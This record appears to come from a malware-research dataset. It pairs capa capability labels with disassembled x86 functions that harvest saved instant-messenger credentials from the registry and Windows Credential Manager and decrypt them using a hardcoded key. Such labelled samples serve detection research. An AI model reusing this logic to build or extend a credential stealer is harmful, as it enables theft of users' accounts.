joyce8/EMBER2024-capa huggingface dataset:
Function at 0x426ddf
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1f54
call fcn.00612c90
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0xc]
lea eax, [ebp - 0x3ef]
push esi
mov esi, dword [ebp + 8]
push edi
push 0x3e7
push 0
push eax
mov edi, ecx
mov byte [ebp - 0x3f0], 0
call fcn.006390b0
add esp, 0xc
mov byte [ebp - 0x1f48], 0
lea eax, [ebp - 0x1f47]
push 0x1387
push 0
push eax
call fcn.006390b0
add esp, 0xc
mov byte [ebp - 0x7d8], 0
lea eax, [ebp - 0x7d7]
push 0x3e7
push 0
push eax
call fcn.006390b0
add esp, 0xc
mov byte [ebp - 0xbc0], 0
lea eax, [ebp - 0xbbf]
push 0x3e7
push 0
push eax
call fcn.006390b0
add esp, 0xc
lea eax, [ebp - 0x1f48]
push esi
push str.SoftwarePaltalk_s
push 0x1388
push eax
call fcn.00402e0a
add esp, 0x10
lea eax, [ebp - 0x1f50]
push eax
push 0x20019
push 0
lea eax, [ebp - 0x1f48]
push eax
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x426f9f
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [ebp - 0x1f4c]
push eax
lea eax, [ebp - 0x3f0]
mov dword [ebp - 0x1f4c], 0x3e8
push eax
lea eax, [ebp - 0x1f54]
push eax
push 0
push str.nickname
push dword [ebp - 0x1f50]
call esi
lea eax, [ebp - 0x1f4c]
mov dword [ebp - 0x1f4c], 0x3e8
push eax
lea eax, [ebp - 0x7d8]
push eax
lea eax, [ebp - 0x1f54]
push eax
push 0
push 0x6cadc0
push dword [ebp - 0x1f50]
call esi
push dword [ebp - 0x1f50]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x3f0]
push eax
call fcn.00643470
pop ecx
cmp eax, 1
jb 0x426f9f
lea eax, [ebp - 0x7d8]
push eax
call fcn.00643470
pop ecx
cmp eax, 1
jb 0x426f9f
push ecx
lea eax, [ebp - 0xbc0]
push eax
lea eax, [ebp - 0x7d8]
push eax
lea eax, [ebp - 0x3f0]
push eax
push ebx
call fcn.00426cdd
test eax, eax
je 0x426f8c
push 0xffffffffffffffff
mov ecx, 0x6c5bb9
lea eax, [ebp - 0xbc0]
push ecx
push eax
lea eax, [ebp - 0x3f0]
push eax
push ecx
push ecx
push 0x6b
push 3
mov ecx, edi
call fcn.0043ee6b
lea ecx, [ebp - 0x1f48]
push ecx
mov ecx, edi
call fcn.00426a76
xor eax, eax
inc eax
jmp 0x426fa1
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret 8
Function at 0x426fb2
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1f54
call fcn.00612c90
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0xc]
lea eax, [ebp - 0x7d7]
push esi
mov esi, dword [ebp + 8]
push edi
push 0x3e7
push 0
push eax
mov edi, ecx
mov byte [ebp - 0x7d8], 0
call fcn.006390b0
add esp, 0xc
mov byte [ebp - 0x1f48], 0
lea eax, [ebp - 0x1f47]
push 0x1387
push 0
push eax
call fcn.006390b0
add esp, 0xc
mov byte [ebp - 0x3f0], 0
lea eax, [ebp - 0x3ef]
push 0x3e7
push 0
push eax
call fcn.006390b0
add esp, 0xc
mov byte [ebp - 0xbc0], 0
lea eax, [ebp - 0xbbf]
push 0x3e7
push 0
push eax
call fcn.006390b0
add esp, 0xc
lea eax, [ebp - 0x1f48]
push esi
push str.SoftwareA.V.M.Paltalk_NGcommon_settingscoreuserscreds_s
push 0x1388
push eax
call fcn.00402e0a
add esp, 0x10
lea eax, [ebp - 0x1f50]
push eax
push 0x20019
push 0
lea eax, [ebp - 0x1f48]
push eax
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x427171
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [ebp - 0x1f4c]
push eax
lea eax, [ebp - 0x7d8]
mov dword [ebp - 0x1f4c], 0x3e8
push eax
lea eax, [ebp - 0x1f54]
push eax
push 0
push str.nickname
push dword [ebp - 0x1f50]
call esi
lea eax, [ebp - 0x1f4c]
mov dword [ebp - 0x1f4c], 0x3e8
push eax
lea eax, [ebp - 0x3f0]
push eax
lea eax, [ebp - 0x1f54]
push eax
push 0
push str.password
push dword [ebp - 0x1f50]
call esi
lea eax, [ebp - 0x3f0]
push eax
call fcn.00643470
pop ecx
push dword [ebp - 0x1f50]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x7d8]
push eax
call fcn.00643470
pop ecx
cmp eax, 1
jb 0x427171
lea eax, [ebp - 0x3f0]
push eax
call fcn.00643470
pop ecx
cmp eax, 1
jb 0x427171
push ecx
lea eax, [ebp - 0xbc0]
push eax
lea eax, [ebp - 0x3f0]
push eax
lea eax, [ebp - 0x7d8]
push eax
push ebx
call fcn.00426cdd
test eax, eax
je 0x42716c
push 0xffffffffffffffff
mov edx, 0x6c5bb9
lea eax, [ebp - 0xbc0]
push edx
push eax
lea ecx, [ebp - 0x7d8]
push ecx
push edx
push edx
push 0x6b
push 3
mov ecx, edi
call fcn.0043ee6b
xor eax, eax
inc eax
jmp 0x427173
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret 8
Function at 0x427415
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x824
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 8]
lea eax, [ebp - 0x42c]
mov ecx, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x14]
push esi
mov esi, dword [ebp + 0x10]
push edi
push eax
mov dword [ebp - 0x81c], esi
mov dword [ebp - 0x818], ebx
call fcn.00426978
lea eax, [ebp - 0x42c]
mov edi, 0x3e8
push eax
lea eax, [ebp - 0x814]
push edi
push eax
call fcn.006494f3
lea eax, [ebp - 0x42c]
push eax
lea eax, [ebp - 0x814]
push edi
push eax
call fcn.006500a8
lea eax, [ebp - 0x42c]
push eax
lea eax, [ebp - 0x814]
push edi
push eax
call fcn.006500a8
push esi
call fcn.00643470
mov dword [ebp - 0x824], eax
lea eax, [ebp - 0x42c]
push eax
call fcn.00643470
lea eax, [ebp - 0x814]
mov byte [ebx], 0
add esp, 0x30
xor edi, edi
xor esi, esi
sub eax, ebx
mov dword [ebp - 0x820], eax
mov eax, dword [ebp - 0x81c]
push 3
add eax, edi
push eax
lea eax, [ebp - 0x44]
push 0x40
push eax
call fcn.00650b7d
lea eax, [ebp - 0x44]
push eax
call fcn.0064a881
mov ecx, dword [ebp - 0x820]
add esp, 0x14
add edi, 3
mov cl, byte [ecx + ebx]
xor cl, 4
sub al, cl
sub al, 0x74
inc esi
mov byte [ebx], al
inc ebx
cmp edi, dword [ebp - 0x824]
jb 0x4274c0
mov eax, dword [ebp - 0x818]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
mov byte [eax + esi], 0
xor eax, eax
pop esi
inc eax
pop ebx
call fcn.006122f0
leave
ret 0x14

Function at 0x42751f
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1b6c
call fcn.00612c90
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0xc]
lea eax, [ebp - 0x1b60]
push esi
mov esi, dword [ebp + 8]
push edi
push esi
push str.SoftwareBeyluxe_Messenger_s
push 0x3e8
push eax
mov edi, ecx
call fcn.00402e0a
add esp, 0x10
lea eax, [ebp - 0x1b64]
push eax
push 0x20019
push 0
lea eax, [ebp - 0x1b60]
push eax
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x427615
mov byte [ebp - 0x3f0], al
lea eax, [ebp - 0x1b68]
push eax
lea eax, [ebp - 0x3f0]
mov dword [ebp - 0x1b68], 0x3e8
push eax
lea eax, [ebp - 0x1b6c]
push eax
push 0
push str.password
push dword [ebp - 0x1b64]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0x1b64]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x3f0]
push eax
call fcn.00643470
pop ecx
cmp eax, 1
jb 0x427615
push ecx
lea eax, [ebp - 0x7d8]
push eax
lea eax, [ebp - 0x3f0]
push eax
push esi
push ebx
call fcn.00427415
test eax, eax
je 0x427610
push 0xffffffffffffffff
mov ecx, 0x6c5bb9
lea eax, [ebp - 0x7d8]
push ecx
push eax
push esi
push ecx
push ecx
push 0x71
push 3
mov ecx, edi
call fcn.0043ee6b
xor eax, eax
inc eax
jmp 0x427617
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret 8
Function at 0x427628
Capabilities:
Get common file path
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x82c
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0xfc
lea eax, [ebp - 0x104]
mov dword [ebp - 0x824], ecx
push 0
push eax
mov dword [ebp - 0x108], 0x5c3a43
call fcn.006390b0
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [ebp - 0x81c]
add esp, 0xc
mov dword [ebp - 0x820], 0x208
push eax
push 0x20019
push 0
push str.SoftwareBeyluxe_Messenger
push SysReAllocString
call edi
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x4276ed
lea eax, [ebp - 0x820]
push eax
lea eax, [ebp - 0x410]
push eax
lea eax, [ebp - 0x828]
push eax
push 0
push str.Buzz
push dword [ebp - 0x81c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0x81c]
mov esi, eax
call ebx
test esi, esi
jne 0x4276ed
push 3
lea eax, [ebp - 0x410]
push eax
lea eax, [ebp - 0x108]
push 0x100
push eax
call fcn.00650b7d
add esp, 0x10
jmp 0x427719
mov esi, 0x100
lea eax, [ebp - 0x108]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
test eax, eax
jne 0x427719
push 0x6cae30
lea eax, [ebp - 0x108]
push esi
push eax
call fcn.006494f3
add esp, 0xc
push ecx
lea edx, [ebp - 0x208]
mov byte [ebp - 0x105], 0
lea ecx, [ebp - 0x108]
call fcn.00426922
pop ecx
test eax, eax
je 0x4277ea
lea eax, [ebp - 0x818]
push eax
push 0x20019
push 0
push str.SoftwareBeyluxe_Messenger
push SysReAllocString
call edi
test eax, eax
jne 0x4277ea
mov edi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
lea eax, [ebp - 0x814]
xor ecx, ecx
mov dword [ebp - 0x814], 0x400
push ecx
push ecx
push ecx
push ecx
push eax
lea eax, [ebp - 0x810]
mov esi, ecx
push eax
push ecx
push dword [ebp - 0x818]
call edi
test eax, eax
jne 0x4277dd
mov ebx, dword [ebp - 0x824]
lea eax, [ebp - 0x208]
mov ecx, ebx
push eax
lea eax, [ebp - 0x810]
push eax
call fcn.0042751f
xor eax, eax
mov dword [ebp - 0x814], 0x400
push eax
push eax
push eax
push eax
lea eax, [ebp - 0x814]
inc esi
push eax
lea eax, [ebp - 0x810]
push eax
push esi
push dword [ebp - 0x818]
call edi
test eax, eax
je 0x427796
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push dword [ebp - 0x818]
call ebx
xor eax, eax
inc eax
jmp 0x4277ec
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret
Function at 0x4277fb
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1888
call fcn.00612c90
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
lea eax, [ebp - 0x1878]
push esi
push edi
mov edi, dword [ebp + 0xc]
xor esi, esi
cmp dword [ecx + 0x5b87c], esi
mov edx, 0x20019
push eax
mov eax, 0x20119
mov dword [ebp - 0x187c], 0x3e8
cmove eax, edx
push eax
push esi
push str.SOFTWAREMicrosoftWindows_NTCurrentVersion
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x42795d
lea eax, [ebp - 0x1884]
mov dword [ebp - 0x1880], esi
push eax
lea eax, [ebp - 0x1880]
mov dword [ebp - 0x1884], 4
push eax
lea eax, [ebp - 0x1888]
push eax
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push str.InstallDate
push dword [ebp - 0x1878]
call esi
test eax, eax
jne 0x42795d
lea eax, [ebp - 0x187c]
push eax
lea eax, [ebp - 0x4ec]
push eax
lea eax, [ebp - 0x1888]
push eax
push 0
push str.DigitalProductId
push dword [ebp - 0x1878]
call esi
test eax, eax
jne 0x42795d
push dword [ebp - 0x1878]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [ebp - 0x187c]
lea eax, [ebp - 0x4ec]
push esi
push eax
lea eax, [ebp - 0x1874]
push eax
call fcn.00638b30
push dword [ebp - 0x1880]
lea eax, [ebp - 0x1874]
push 0x6caed4
add eax, esi
push 0x1388
push eax
call fcn.00402e0a
push ebx
add esi, eax
call fcn.00643470
push eax
lea eax, [ebp - 0x1874]
add eax, esi
push ebx
push eax
call fcn.00638b30
push ebx
call fcn.00643470
add esi, eax
lea eax, [ebp - 0x1874]
push esi
push eax
push edi
call fcn.00638b30
add esp, 0x38
lea eax, [ebp - 0x104]
mov edx, esi
lea ecx, [ebp - 0x1874]
push eax
call fcn.00404e7c
pop ecx
pop ecx
test eax, eax
jne 0x427970
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret 8
lea eax, [ebp - 0x104]
push eax
call fcn.00643470
lea eax, [ebp - 0x104]
push eax
call fcn.00643470
push 0x14
lea eax, [ebp - 0x104]
push eax
push edi
call fcn.00638b30
xor eax, eax
add esp, 0x14
inc eax
jmp 0x42795f
Function at 0x42799f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xbc4
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0xc]
mov dword [ebp - 0xbc4], edx
mov byte [edx], 0
lea edx, [ebp - 0xbbc]
push edx
push eax
call fcn.004277fb
test eax, eax
je 0x427ac8
push ecx
lea edx, [ebp - 0x7d4]
mov ecx, esi
call fcn.004020b3
mov dword [ebp - 0xbc0], eax
pop ecx
test eax, eax
je 0x427ac8
xor ecx, ecx
mov byte [ebp + ecx - 0x3ec], cl
inc ecx
cmp ecx, 0x100
jl 0x4279f9
push ebx
push edi
xor bl, bl
xor edi, edi
xor esi, esi
mov dl, byte [ebp + esi - 0x3ec]
mov al, byte [ebp + edi - 0xbbc]
add al, dl
add bl, al
movzx ecx, bl
mov al, byte [ebp + ecx - 0x3ec]
mov byte [ebp + esi - 0x3ec], al
lea eax, [edi + 1]
xor edi, edi
mov byte [ebp + ecx - 0x3ec], dl
inc esi
cmp eax, 0x14
cmovl edi, eax
cmp esi, 0x100
jl 0x427a11
mov edi, dword [ebp - 0xbc0]
xor bh, bh
mov dh, 1
xor esi, esi
movzx ecx, dh
mov bl, byte [ebp + ecx - 0x3ec]
add bh, bl
inc dh
movzx eax, bh
mov dl, byte [ebp + eax - 0x3ec]
mov byte [ebp + ecx - 0x3ec], dl
add dl, bl
mov byte [ebp + eax - 0x3ec], bl
movzx eax, dl
mov al, byte [ebp + eax - 0x3ec]
xor byte [ebp + esi - 0x7d4], al
inc esi
sub edi, 1
jne 0x427a5b
mov edx, 0x3e8
pop edi
pop ebx
cmp esi, edx
jae 0x427ad9
lea ecx, [ebp - 0x7d4]
mov byte [ebp + esi - 0x7d4], 0
push ecx
push edx
push dword [ebp - 0xbc4]
call fcn.006494f3
xor eax, eax
add esp, 0xc
inc eax
jmp 0x427aca
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.006122f0
leave
ret 0x10
call fcn.00612782
int3
Function at 0x427e59
Capabilities:
Acquire credentials from windows credential manager

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x4e34
call fcn.00612c90
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea eax, [ebp - 0x4e2c]
xor ebx, ebx
push eax
lea eax, [ebp - 0x4e30]
mov edi, ecx
push eax
push ebx
push str.WindowsLive
call dword [sym.imp.ADVAPI32.dll_CredEnumerateA]
test eax, eax
je 0x427f63
mov esi, ebx
cmp dword [ebp - 0x4e30], ebx
jbe 0x427f55
mov ecx, dword [ebp - 0x4e2c]
mov byte [ebp - 0x2718], bl
mov byte [ebp - 0x4e28], bl
mov eax, dword [ecx + esi*4]
cmp dword [eax + 0x30], ebx
je 0x427ede
push dword [eax + 0x30]
lea eax, [ebp - 0x4e28]
push 0x2710
push eax
call fcn.006494f3
mov ecx, dword [ebp - 0x4e2c]
add esp, 0xc
mov ecx, dword [ecx + esi*4]
mov eax, dword [ecx + 0x18]
test eax, eax
je 0x427f25
cmp dword [ecx + 0x1c], ebx
je 0x427f25
push ebx
push ebx
push 0x400
lea edx, [ebp - 0x2718]
shr eax, 1
push edx
push eax
push dword [ecx + 0x1c]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov eax, dword [ebp - 0x4e2c]
mov eax, dword [eax + esi*4]
mov eax, dword [eax + 0x18]
shr eax, 1
cmp eax, 0x2710
jae 0x427f7b
mov byte [ebp + eax - 0x2718], bl
push 0xffffffffffffffff
mov ecx, 0x6c5bb9
lea eax, [ebp - 0x2718]
push ecx
push eax
lea eax, [ebp - 0x4e28]
push eax
push ecx
push ecx
push 0x69
push 3
mov ecx, edi
call fcn.0043ee6b
inc esi
cmp esi, dword [ebp - 0x4e30]
jb 0x427ea7
push dword [ebp - 0x4e2c]
call dword [sym.imp.ADVAPI32.dll_CredFree]
jmp 0x427f69
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
inc eax
pop ebx
call fcn.006122f0
leave
ret
call fcn.00612782
int3
Function at 0x427f81
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using des via winapi
Encrypt or decrypt via wincrypt
Hash data using sha1
Hash data using sha1 via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov eax, dword [ebp + 8]
mov esi, str.12_ASDgemWe2
push edi
lea edi, [ebp - 0x14]
mov dword [ebp - 0x28], eax
push 0xf0000000
movsd dword es:[edi], dword [esi]
mov ebx, ecx
xor ecx, ecx
mov dword [ebp - 0x18], edx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
xor esi, esi
mov byte [eax], cl
inc esi
lea eax, [ebp - 0x20]
push esi
push ecx
push ecx
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x428054
lea eax, [ebp - 0x1c]
push eax
push 0
push 0
push 0x8004
push dword [ebp - 0x20]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x428054
lea eax, [ebp - 0x14]
push 0
push eax
call fcn.00643470
pop ecx
push eax
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x428054
lea eax, [ebp - 0x24]
push eax
push esi
push dword [ebp - 0x1c]
push 0x6601
push dword [ebp - 0x20]
call dword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
je 0x428054
lea eax, [ebp - 0x18]
push eax
push ebx
push 0
push esi
push 0
push dword [ebp - 0x24]
call dword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
je 0x428054
mov ecx, dword [ebp - 0x18]
mov byte [ecx + ebx], 0
push dword [ebp - 0x18]
push ebx
push 0x3e8
push dword [ebp - 0x28]
call fcn.00650b7d
add esp, 0x10
mov eax, esi
jmp 0x42805c
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret
Function at 0x42806b
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc18
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
lea eax, [ebp - 0xc10]
mov edi, ecx
push eax
push 0x20019
push 0
push str.SoftwareNimbuzzPCClientApplication
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x428170
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [ebp - 0xc0c]
push eax
lea eax, [ebp - 0xc08]
mov dword [ebp - 0xc0c], 0x400
push eax
lea eax, [ebp - 0xc14]
push eax
push 0
push str.Username
push dword [ebp - 0xc10]
call esi
test eax, eax
jne 0x428170
lea eax, [ebp - 0xc0c]
mov dword [ebp - 0xc0c], 0x400
push eax
lea eax, [ebp - 0x408]
push eax
lea eax, [ebp - 0xc14]
push eax
push 0
push str.Password
push dword [ebp - 0xc10]
call esi
push dword [ebp - 0xc10]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jne 0x428170
mov edx, dword [ebp - 0xc0c]
cmp edx, 1
jb 0x428170
push ecx
lea eax, [ebp - 0x808]
push eax
lea ecx, [ebp - 0x408]
call fcn.00427f81
pop ecx
pop ecx
test eax, eax
je 0x42816b
push 0xffffffffffffffff
mov edx, 0x6c5bb9
lea eax, [ebp - 0x808]
push edx
push eax
lea ecx, [ebp - 0xc08]
push ecx
push edx
push edx
push 0x6d
push 3
mov ecx, edi
call fcn.0043ee6b
xor eax, eax
inc eax
jmp 0x428172
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.006122f0
leave
ret
Function at 0x428180
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc20
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, 0x3ff
mov dword [ebp - 0xc20], ecx
xor ebx, ebx
lea eax, [ebp - 0x407]
push esi
push ebx
push eax
mov byte [ebp - 0x408], bl
call fcn.006390b0
add esp, 0xc
mov byte [ebp - 0x808], bl
lea eax, [ebp - 0x807]
push esi
push ebx
push eax
call fcn.006390b0
add esp, 0xc
mov byte [ebp - 0xc08], bl
lea eax, [ebp - 0xc07]
push esi
push ebx
push eax
call fcn.006390b0
add esp, 0xc
lea eax, [ebp - 0xc0c]
push eax
push 0x20019
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push str.SoftwareIMVUusername
push SysReAllocString
call ebx
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x428256
lea eax, [ebp - 0xc14]
mov dword [ebp - 0xc14], 0x400
push eax
lea eax, [ebp - 0xc08]
push eax
lea eax, [ebp - 0xc1c]
push eax
push 0
push 0x6c5bb9
push dword [ebp - 0xc0c]
call esi
test eax, eax
je 0x428248
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [ebp - 0xc0c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x42825c
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea eax, [ebp - 0xc10]
push eax
push 0x20019
push 0
push str.SoftwareIMVUpassword
push SysReAllocString
call ebx
test eax, eax
jne 0x4282f3
lea eax, [ebp - 0xc18]
mov dword [ebp - 0xc18], 0x400
push eax
lea eax, [ebp - 0x408]
mov ebx, 0x6c5bb9
push eax
lea eax, [ebp - 0xc1c]
push eax
push 0
push ebx
push dword [ebp - 0xc10]
call esi
push dword [ebp - 0xc10]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jne 0x4282f3
lea edx, [ebp - 0x808]
lea ecx, [ebp - 0x408]
call fcn.00404638
mov ecx, dword [ebp - 0xc20]
lea eax, [ebp - 0x808]
push 0xffffffffffffffff
push ebx
push eax
lea eax, [ebp - 0xc08]
push eax
push ebx
push ebx
push 0x72
push 3
call fcn.0043ee6b
xor eax, eax
inc eax
jmp 0x4282f5
xor eax, eax
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret
Function at 0x428303
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1884
call fcn.00612c90
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor ebx, ebx
lea eax, [ebp - 0x1877]
push 0x1387
push ebx
push eax
mov edi, ecx
mov byte [ebp - 0x1878], bl
call fcn.006390b0
add esp, 0xc
mov byte [ebp - 0x4f0], bl
lea eax, [ebp - 0x4ef]
push 0x3e7
push ebx
push eax
call fcn.006390b0
add esp, 0xc
mov byte [ebp - 0x108], bl
lea eax, [ebp - 0x107]
push 0xff
push ebx
push eax
call fcn.006390b0
add esp, 0xc
lea eax, [ebp - 0x1880]
push eax
push 0x20019
push ebx
push str.SoftwareYahoopager
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x42839a
xor eax, eax
jmp 0x4284b2
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [ebp - 0x187c]
push eax
lea eax, [ebp - 0x4f0]
mov dword [ebp - 0x187c], 0x3e8
push eax
lea eax, [ebp - 0x1884]
push eax
push ebx
push str.Yahoo__User_ID
push dword [ebp - 0x1880]
call esi
lea eax, [ebp - 0x187c]
mov dword [ebp - 0x187c], 0x1388
push eax
lea eax, [ebp - 0x1878]
push eax
lea eax, [ebp - 0x1884]
push eax
push ebx
push 0x6cafc8
push dword [ebp - 0x1880]
call esi
test eax, eax
je 0x428436
lea eax, [ebp - 0x187c]
mov dword [ebp - 0x187c], 0x1388
push eax
lea eax, [ebp - 0x1878]
push eax
lea eax, [ebp - 0x1884]
push eax
push ebx
push str.EOptions_String
push dword [ebp - 0x1880]
call esi
test eax, eax
jne 0x42844f
push str.Yahoo_Messenger_v6.x
jmp 0x42843b
push str.Yahoo_Messenger_v7.x
lea eax, [ebp - 0x108]
push 0x100
push eax
call fcn.006494f3
add esp, 0xc
push dword [ebp - 0x1880]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x1878]
push eax
call fcn.00643470
pop ecx
lea eax, [ebp - 0x4f0]
push eax
call fcn.00643470
pop ecx
cmp eax, 1
ja 0x42848c
lea eax, [ebp - 0x1878]
push eax
call fcn.00643470
pop ecx
cmp eax, 1
jbe 0x4284af
push 0xffffffffffffffff
mov edx, 0x6c5bb9
lea eax, [ebp - 0x1878]
push edx
push eax
lea ecx, [ebp - 0x4f0]
push ecx
push edx
push edx
push 0x67
push 3
mov ecx, edi
call fcn.0043ee6b
xor eax, eax
inc eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret